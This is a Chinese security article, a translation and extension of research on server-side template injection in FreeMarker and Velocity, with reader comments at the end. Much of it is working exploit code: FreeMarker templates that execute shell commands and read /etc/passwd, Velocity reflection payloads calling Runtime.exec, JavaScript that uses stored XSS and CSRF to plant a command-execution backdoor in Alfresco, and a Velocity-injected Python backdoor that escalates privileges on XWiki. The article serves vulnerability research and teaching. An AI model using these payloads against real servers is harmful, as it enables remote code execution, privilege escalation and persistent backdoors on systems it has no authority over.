服务端模板注入:现代WEB远程代码执行(补充翻译和扩展)

0x00 前言


原文链接:https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf

最近看了这篇文章,其实也不是新技术,但是作者给出的两个攻击案例很不错,看到drops里面有人翻译了这篇文章,但是没有把攻击案例翻译出来,于是把这部分内容补充上。这两个案例分别针对FreeMarkerVelocity,所以把作者针对这两个模板引擎编写Exploit的过程也翻译出来。

0x01 开发Exploit


很多的模板引擎都会试图限制模板程序执行任意代码能力,来防止应用层逻辑对表达式引擎的攻击。还有一些模板引擎则尝试通过沙盒等手段来安全处理不可信的用户输入。在这些措施之下,开发一个模板后门变得非常有挑战性。

FreeMarker

FreeMarke是最流行的Java模板之一,也是最频繁的交给用户操作的模板。FreeMarker官网解释了允许“用户提供”模板的危险性:

pic1

对应翻译:

22.可以允许用户上传模板文件吗,这对安全性有影响吗? 一般来说,你不应该允许用户做这样的操作,除非是管理员或者可信用户。考虑到模板就是和*.java文件类似的源代码文件。如果你依然想要允许用户上传模板文件,这里是你应该考虑的东西: http://freemarker.org/docs/app_faq.html#faq_template_uploading_security

在一些类似DoS这种低风险安全问题之后,我们可以看到下面这个:

pic2

对应翻译:

内置的new操作符 (Configuration.setNewBuiltinClassResolver,Environment.setNewBuiltinClassResolver):在模板文件中像这样使用”com.example.SomeClass”?new(),这个对FTL库来说很重要,但是在正常的模板文件中时不需要使用。FreeMarker中包含一个TemplateModel接口,这个接口可以用于构造任意java对象,new操作符可以实例化TemplateModel的实现类。有一些危险的TemplateModel实现类有可能会在classpath中。 就算一个类没有实现TemplateModel接口,这个类里面的静态代码块也会被执行。为了避免这种情况出现,你可以使用TemplateClassResolver类来制约对类的访问,像下面这样: TemplateClassResolver.ALLOWS_NOTHING_RESOLVER

这条警告略显神秘,但是它让我们想到通过内置的new操作符来完成exp也许是可以的。让我们看一下关于new操作符的文档:

pic3

对应翻译:

这个内置的操作符需要引起安全关注,因为模板的编写人可以通过它来构造任意java对象然后使用这些构造处理的java对象,只要他们实现了TemplateModel接口。而且模板编写者还能够触发类中静态代码块中的代码,即使这个类没有实现TemplateModel接口。如果你允许不是很信任的用户上传模板,你应该看一下下面这个主题。 http://freemarker.org/docs/ref_builtins_expert.html#ref_builtin_new

TemplateModel的实现类中存在对我们有用的类吗?让我们来看一下这个接口的JavaDoc:

pic4

一个类的名字出现了:Execute

查看这个类的详情可以发现它能够做我们想要做的事:接收输入并且执行

pic5

使用它非常简单:

<#assign ex="freemarker.template.utility.Execute"?new()> 
${ ex("id") } 

uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)

这个payload在后面将会非常有用。

补充:

经过对TemplateModel的其他实现类进行研究,发现ObjectConstructor类同样很有用,从名字上就可以看出来,这个类是用来构造其他类的对象的,看一下代码就可以明白如何使用了:

pic6

通过代码可以看到提供类名称和构造函数的参数,就可以利用ObjectConstructor类构造我们想要的类,有了这个我们就可以执行任意java代码了,下面给出两个实例,一个是执行命令,另一个是文件读取。

  • 命令执行:

    <#assign ob="freemarker.template.utility.ObjectConstructor"?new()> 
    <#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.ProcessBuilder","ifconfig").start().getInputStream())) >        
    
    
    <#list 1..10000 as t>
        <#assign line=br.readLine()!"null">
        <#if line=="null">
            <#break>
        </#if>
        ${line}
        ${"<br>"}
    </#list>
    
  • 文件读取:

    <#assign ob="freemarker.template.utility.ObjectConstructor"?new()> 
    <#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.io.FileInputStream","/etc/passwd"))) >        
    
    
    <#list 1..10000 as t>
        <#assign line=br.readLine()!"null">
        <#if line=="null">
            <#break>
        </#if>
        ${line?html}
        ${"<br>"}
    </#list>
    

Velocity

Velocity是另一个流行的Java模板框架,非常难exploit。没有“安全注意事项”页面来指出存在风险的函数和内部变量。下面这张截图显示的是用Burp暴力破解变量名,左侧是payload右边是服务器的返回值。

pic7

变量class看起来有用,因为它返回了一个Object类的Class对象。通过Google找到了这个链接https://velocity.apache.org/tools/releases/2.0/summary.html:

pic8

可以看到一个方法和一个属性:

pic9

我们可以把$class.inspect$class.type结合起来构造任意的对象。然后我们就可以通过Runtime.exec()执行任意命令了。这个想法用下面的代码可以确认,这段代码会造成一个延迟。

$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()
[5 second time delay]
0

获取命令执行结果有一点麻烦:

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
tomcat7

补充:

不得不说原文作者的方法有点麻烦,而且这种方式只能用在Velocity Tool中,不能用在Velocity Engine中,其实这个直接用反射就可以,代码如下:

#set ($exp = "exp")
$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")

0x02 两个案例


案例1:Alfresco

Alfresco 是一个CMS系统。低权限用户可以借助一个存储XSS漏洞,利用FreeMarker模板注入方式获取WebShell。前面创建的FreeMarker后门可以直接使用,但是我把它扩展成了用请求参数作为命令的形式:

<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex(url.getArgs())}

低权限用户没有权限编辑模板,但是可以通过存储XSS利用管理员账户来安装这个后门。我编写了下面的JavaScript代码来完成这种攻击:

#!javascript
tok = /Alfresco-CSRFToken=([^;]*)/.exec(document.cookie)[1]; 
tok = decodeURIComponent(tok) do_csrf=new XMLHttpRequest(); do_csrf.open("POST","http://"+document.domain+":8080/share/proxy/alfresco/api/node/workspace /SpacesStore/59d3cbdc-70cb-419e-a325-759a4c307304/formprocessor",false); do_csrf.setRequestHeader('Content-Type','application/json; charset=UTF-8'); do_csrf.setRequestHeader('Alfresco-CSRFToken',tok); do_csrf.send('{"prop_cm_name":"folder.get.html.ftl","prop_cm_content":"&lgt;#assign ex=\\"freemarker.template.utility.Execute\\"?new()> ${ ex(url.getArgs())}","prop_cm_description":""}');

模板的GUID是有差别的,但是低权限的用户也可以很容易的通过“数据字典”获得。此外和其他应用的管理员可以控制整个web服务器不同,alfresco系统管理员可以做的操作是有严格限制的。

pic10

案例2:XWiki Enterprise

XWiki Enterprise是一个专业wiki程序。在默认配置情况下,匿名的用户可以注册用户并且编辑wiki页面时可以嵌入Velocity模板代码。这种特性让它成为了模板注入的理想目标。然而,前面创建的Velocity payload是不能用的,原因是$class在这里是不能使用的。

XWiki对于Velocity是这样说的:

pic11

对应翻译:

XWiki沙盒通过提供安全的对象访问,并且每个API调用都会检测权限,禁止对未授权的资源进行操作,所以不需要特别的权限控制。其他脚本语言需要脚本语言编写人有权限执行他们,但是除此之外,访问的是服务器上的所有资源。
…… 没有权限就不能实例化对象,只能使用文字和XWiki APIs提供的安全的资源。如果按照XWiki提供的正确方式,XWiki可以安全的开发出大量的应用来。
…… 浏览包含脚本的页面是不需要拥有Programming权限的,只有在保存的时候需要。 http://platform.xwiki.org/xwiki/bin/view/DevGuide/Scripting

换句话来说,XWiki不仅支持Velocity,也支持Groovy和Python这种没有沙盒的脚本。然而这种操作需要programming权限。这是个好事,因为它把提权转变成了任意代码执行。由于我们只能使用Velocity,我们必须使用XWiki API。

$doc类又一些很有趣的方法,聪明的读者可能会发现一个缺陷:

pic12

一个wiki页面的内容作者是最后一个编辑它的用户。save方法和saveAsAuthor方法的不同说明,save方法不会用作者身份保存内容,而是用当前访问页面用户的身份。换句话说,一个低权限用户可以创建一个wiki页面,当拥有programming权限的用户查看并且编辑保存这个页面的时候脚本就会执行。我们来注入下面这个Python后门:

#!python
from subprocess import check_output 
q = request.get('q') or 'true'
q = q.split(' ') 
print ''+check_output(q)+'' 

我们只需要添加一些代码来获取管理员的权限:

innocent content 
#if( $doc.hasAccessLevel("programming") ) 
$doc.setContent(" 
innocent content 
from subprocess import check_output 
q = request.get('q') or 'true' 
q = q.split(' ') 
print ''+check_output(q)+'' 
") 
$doc.save() 
#end

当包含有这样内容的页面被一个有programming权限的用户查看的时候,后门会自动安装。之后所有访问这个页面的人都可以执行任意命令了:

pic13

0x03 后记


作者提出的这种攻击思路还是很不错的,以前也了解这种模板文件可以用来执行任意代码,但是没有很深入的去思考进一步的利用方式,传统的攻击思路一般是获取后台管理员权限,然后利用上传等漏洞getshell,但其实后台编辑模板的功能很多时候就可以直接执行任意代码,经过测试大部分具有编辑模板功能的应用都存在类似问题,看来在攻击过程中对技术理解越透彻思路就越广。

©乌云知识库版权所有 未经许可 禁止转载


30
动后河 2015-09-04 23:32:05

'案例2:XWiki Enterprise'
看下面的代码是python语法,xwiki又是java写的,有些奇怪

30
Comer 2015-09-02 15:46:08

膜拜兰老板

30
mssp299 2015-09-02 11:36:59

学习中

感谢知乎授权页面模版